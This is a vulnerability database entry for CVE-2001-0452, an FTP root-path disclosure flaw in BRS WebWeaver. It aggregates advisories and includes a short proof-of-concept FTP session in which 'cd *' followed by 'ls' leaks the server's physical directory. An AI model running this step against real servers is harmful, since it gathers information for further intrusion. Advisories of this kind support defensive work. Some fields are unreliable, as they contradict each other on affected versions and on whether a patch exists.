CVE-2001-0452
CVSS5.0
发布时间 :2001-06-27 00:00:00
修订时间 :2008-09-05 16:24:08
NMCOES    

[原文]BRS WebWeaver FTP server before 0.64 Beta allows remote attackers to obtain the real pathname of the server via a "CD *" command followed by an ls command.


[CNNVD]BRS WebWeaver FTP 根目录物理路径泄露(CNNVD-200106-157)

        CVE(CAN) ID: CAN-2001-0452
        
        
        
        BRS WebWeaver 是 Blaine Southam 开发的WEB和FTP服务软件。其中的FTP组件存在
        
        缺陷,远程用户利用该缺陷可以得知FTP服务根目录的物理路径。在FTP命令状态下提
        
        交"cd *"命令,服务器返回的错误信息中包含了FTP服务根目录的物理路径。
        
        
        
        <* 来源:joe testa (joetesta@hushmail.com) *>
        
        

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: NONE [不会对系统完整性产生影响]
可用性影响: NONE [对系统可用性无影响]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:brs:webweaver:0.62_beta
cpe:/a:brs:webweaver:0.51_beta
cpe:/a:brs:webweaver:0.49_beta
cpe:/a:brs:webweaver:0.60_beta
cpe:/a:brs:webweaver:0.52_beta
cpe:/a:brs:webweaver:0.61_beta
cpe:/a:brs:webweaver:0.50_beta

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0452
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2001-0452
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200106-157
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/archive/1/180506
(VENDOR_ADVISORY)  BUGTRAQ  20010428 Vulnerabilities in BRS WebWeaver
http://www.securityfocus.com/bid/2676
(VENDOR_ADVISORY)  BID  2676
http://members.nbci.com/_XMCM/BSoutham/WebWeaver/WebWeaverHistory.html
(UNKNOWN)  CONFIRM  http://members.nbci.com/_XMCM/BSoutham/WebWeaver/WebWeaverHistory.html

- 漏洞信息

BRS WebWeaver FTP 根目录物理路径泄露
中危 其他
2001-06-27 00:00:00 2005-10-20 00:00:00
远程  
        CVE(CAN) ID: CAN-2001-0452
        
        
        
        BRS WebWeaver 是 Blaine Southam 开发的WEB和FTP服务软件。其中的FTP组件存在
        
        缺陷,远程用户利用该缺陷可以得知FTP服务根目录的物理路径。在FTP命令状态下提
        
        交"cd *"命令,服务器返回的错误信息中包含了FTP服务根目录的物理路径。
        
        
        
        <* 来源:joe testa (joetesta@hushmail.com) *>
        
        

- 公告与补丁

        
        
        升级到0.63beta版:
        
        
        
        
        http://members.nbci.com/_XMCM/BSoutham/download/WebWeaver063.exe

        
        
        
        
        

- 漏洞信息 (20819)

BRS WebWeaver 0.x FTP Root Path Disclosure Vulnerability (EDBID:20819)
windows remote
2001-04-28 Verified
0 joetesta
N/A [点击下载]
source: http://www.securityfocus.com/bid/2676/info

BRS WebWeaver is an ftpd and webserver from Blaine Southam.

WebWeaver's FTP component has a flaw which can permit a remote user to learn the physcial path to the FTP service's root directory.

By submitting the FTP command CD argumented by an asterisk character, the attacker can cause an error message to be generated by WebWeaver which includes the path for the ftp root.

Properly exploited, this information could assist a hostile user in carrying out other attacks on the system.

>ftp localhost
Connected to xxxxxxxxxxxx.rh.rit.edu.
220 BRS WebWeaver FTP Server ready.
User (xxxxxxxxxxxx.rh.rit.edu:(none)): jdog
331 Password required for jdog.
Password:
230 User jdog logged in.
ftp> cd *
250 CWD command successful. "/*/" is current directory.
ftp> ls
200 Port command successful.
150 Opening data connection for directory list.
c:\windows\desktop\*\*.* not found
226 File sent ok
ftp: 36 bytes received in 0.06Seconds 0.60Kbytes/sec.
ftp> 		

- 漏洞信息

13880
BRS WebWeaver FTP Server Malformed CD / ls Command Parsing Path Disclosure
Remote / Network Access Information Disclosure
Loss of Confidentiality Solution Unknown
Exploit Public Third-party Verified

- 漏洞描述

- 时间线

2001-04-28 Unknow
Unknow Unknow

- 解决方案

OSVDB is not aware of a solution for this vulnerability.

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

BRS WebWeaver FTP Root Path Disclosure Vulnerability
Failure to Handle Exceptional Conditions 2676
Yes No
2001-04-28 12:00:00 2009-07-11 06:06:00
Reported to bugtraq by joe testa <joetesta@hushmail.com> on April 28, 2001.

- 受影响的程序版本

BRS WebWeaver 0.62 beta
BRS WebWeaver 0.61 beta
BRS WebWeaver 0.60 beta
BRS WebWeaver 0.52 beta
BRS WebWeaver 0.51 beta
BRS WebWeaver 0.50 beta
BRS WebWeaver 0.49 beta
BRS WebWeaver 0.63 beta

- 不受影响的程序版本

BRS WebWeaver 0.63 beta

- 漏洞讨论

BRS WebWeaver is an ftpd and webserver from Blaine Southam.

WebWeaver's FTP component has a flaw which can permit a remote user to learn the physcial path to the FTP service's root directory.

By submitting the FTP command CD argumented by an asterisk character, the attacker can cause an error message to be generated by WebWeaver which includes the path for the ftp root.

Properly exploited, this information could assist a hostile user in carrying out other attacks on the system.

- 漏洞利用

(courtesy joe testa &lt;joetesta@hushmail.com&gt;):

&gt;ftp localhost
Connected to xxxxxxxxxxxx.rh.rit.edu.
220 BRS WebWeaver FTP Server ready.
User (xxxxxxxxxxxx.rh.rit.edu:(none)): jdog
331 Password required for jdog.
Password:
230 User jdog logged in.
ftp&gt; cd *
250 CWD command successful. "/*/" is current directory.
ftp&gt; ls
200 Port command successful.
150 Opening data connection for directory list.
c:\windows\desktop\*\*.* not found
226 File sent ok
ftp: 36 bytes received in 0.06Seconds 0.60Kbytes/sec.
ftp&gt;

- 解决方案

Currently the SecurityFocus staff are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com <mailto:vuldb@securityfocus.com>.


BRS WebWeaver 0.49 beta

BRS WebWeaver 0.50 beta

BRS WebWeaver 0.51 beta

BRS WebWeaver 0.52 beta

BRS WebWeaver 0.60 beta

BRS WebWeaver 0.61 beta

BRS WebWeaver 0.62 beta

- 相关参考

 

 

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